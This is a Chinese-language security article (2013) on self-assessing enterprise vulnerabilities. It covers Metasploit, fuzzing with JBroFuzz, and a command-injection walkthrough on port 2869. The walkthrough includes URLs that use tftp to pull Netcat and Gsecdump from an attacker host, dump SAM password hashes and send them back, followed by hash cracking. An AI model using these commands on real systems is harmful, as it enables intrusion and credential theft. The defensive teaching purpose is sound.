企业如何自行检查漏洞?(二)
2013-06-07 TechTarget中国 编辑:赵长林
获得访问权
现在可以决定是否对SMB服务器进行有效攻击了。远程利用某种有漏洞服务的一个常用工具是Metasploit,这是一个开源的灵活且易于使用的漏洞利用框架。
与Nessus很相似,Metasploit拥有Web界面和一个支持用户选择目标或网络的向导。安全评估者可以跳过向导,开始远程利用SMB服务器的漏洞,然后,你会看到一个在远程机器上的命令提示符,而这正是黑客的最爱。在“自攻”期间,真希望你的系统不会达到这一步。
记住,不管是出于什么目的和意图,任何服务或端口都可能存在足以破坏主机的漏洞。你应当检查扫描报告中发现的所有问题,并不断地重复这些步骤直至检查完每一个项目。
例如,扫描报告出现这样的内容:
2869/tcp - http Microsoft HTTP API httpd 1.0 (SSDP/UPnP)
虽然Nmap可能无法获得哪些程序正在运行的信息,但这儿需要注意的关键字母是“API”,即“应用编程接口”。因而,我们几乎可以肯定:这里有一个通过Windows的HTTP服务而起作用的特定应用程序。
定制的应用程序带来了特殊困难,因为并没有哪种特定工具可以攻击这种程序。在这儿,不妨考虑一下Fuzzing这种软件测试技术,它一般是自动化或半自动化的,能够将非法的、非正常的或随机数据提交给某个计算机程序的输入。然后,监视该程序的例外情况,如崩溃或无法实现内建的代码功能,或者查找潜在的内存泄露等。Fuzzing确实重视定制的应用或不寻常的程序实现。
还有,请求访问http://123.123.123.123:2869返回了一个404“not found(未发现)”的错误。这就表明,有可能存在我们可以访问的目录或命令,而这正是JBroFuzz显示身手的地方。
使用JBroFuzz,你可以通过任何方法攻击一个特定的应用程序,其中包括用户代理字符串(用来辨别浏览器版本以及向用户所访问的网站服务器提供某些系统信息的细节)、方法,以及get和post变量等。在很多情况下,这不是一个能否攻破目标的问题,而是什么时候攻破的问题。并非所有的错误或例外都会导致远程的漏洞利用,但评估人员应当仔细检查任何问题,以便于发现风险。本文的测试涉及到HTTP,但许多协议都足以导致攻击网络服务和本地服务。如果你需要更多的灵活性,不妨考虑Peachfuzzer。
在本文的测试中,作者发现了这个URL:
http://123.123.123.123:2869/cmd=echo%20%22log%20entry%20%251%22%20%3E%20ap p.log%20
如果我们使用一个WebScarab或JBroFuzz编码器之类的工具来解码这个URL,就可以看出,“cmd”变成了“log entry%1”>app.log
这里看起来是通过操作系统的命令行将消息发送给app.log文件,从而建立一个日志文件,也就是说,Web服务器的服务正在调用文件系统。这种类型的直接访问可以创建某些漏洞扫描器可能遗漏的漏洞利用条件。
这也会给攻击者提供了机会,但首先还得解决其它问题。有多数情况下,Web并不会以管理员特权的方式来运行。不管你如何获得系统的访问权,都可使用这些命令。这些命令仅要求你能够访问命令解释器。
>test命令可以验证我们的攻击是否提供反馈(例如,并不把test当作内部或外部命令、可操作的程序或批处理文件)。
如果我们得到错误消息,就会从攻击中获得结果。
在我们的Web攻击中,我们可以简单地在浏览器地址栏中输入:http://123.123.123.123:2869/?cmd=test
这会导致浏览器返回一个错误。否则,就意味着我们不会得到实时反馈。
下一步的测试是查看我们是谁:
http:// 123.123.123.123:2869/?cmd=whoami
此时的响应会告诉我们用户账户的名称,即Web服务的运行账户。现在,我们看看组成员身份是什么:
http:// 123.123.123.123:2869/?cmd=net user
这时的响应与下图类似:
可以看出,此时并没有以管理员身份运行,这会给黑客带来问题。事实上,在黑客获得了系统访问后,特权提升几乎总会成为攻击者的首要目标。攻击者可通过多种方法实现此目标,其中包括暴力破解管理员账户。有时,攻击者可能会利用操作系统或已安装软件中的本地漏洞来扩大访问权。
在此例中,我们(攻击者)拥有了操作系统的命令访问权,而且我们也可以访问文件系统。因而,我们可以通过迂回战术来获得管理员账户。为有效地占领主机(包括攻克管理员账户),需要做点儿准备工作。
首先,我们建立一个TFTP(简单文件传输协议)服务器。当然,这项工作很简单,网上的教程有很多,在此不赘述。然后,下载下面的几种工具,并将其放到TFTP的根文件夹中:
Netcat:黑客工具的瑞士军刀;Gsecdump,允许用户从SAM(安全账户管理器)数据库中析取口令哈希。使用操作系统命令行漏洞,我们将工具下载到目标机器中:http://123.123.123.123:2869/?cmd=tftp attackercomputer.com GET *
使用Gsecdump,可以从系统中析取哈希,并导入到一个可发送给攻击者机器的文本文件中。http://123.123.123.123:2869/?cmd= gsecdumpv2b5.exe –a > hashes.txt
http://123.123.123.123:2869/?cmd=tftp attackyourcomputer.com PUT hashes.txt hashes.txt
现在,我们需要做的是破解哈希并得到口令。
回到攻击电脑上,我们可以在Windows下安装Cain & Abel 或在Linux上安装John the Ripper。
在使用Cain&Abel的测试中,我们可以轻松地导入文本文件,并可以实施强力攻击或字典攻击。(强力攻击尝试每一个字符组合,而字典攻击必须拥有一个包含单词或单词变体的文件。)我们还可以使用预编译强力攻击和字典攻击的彩虹表。当然,每种方法都有其好处和缺点,而你应当首先尝试字典攻击,因为其速度很快。但这种攻击不太全面。
有时,要破解一个口令可能需要几天或几星期的时间。如果一个口令使用了复杂规则,那么,你可能毕生也无法破解。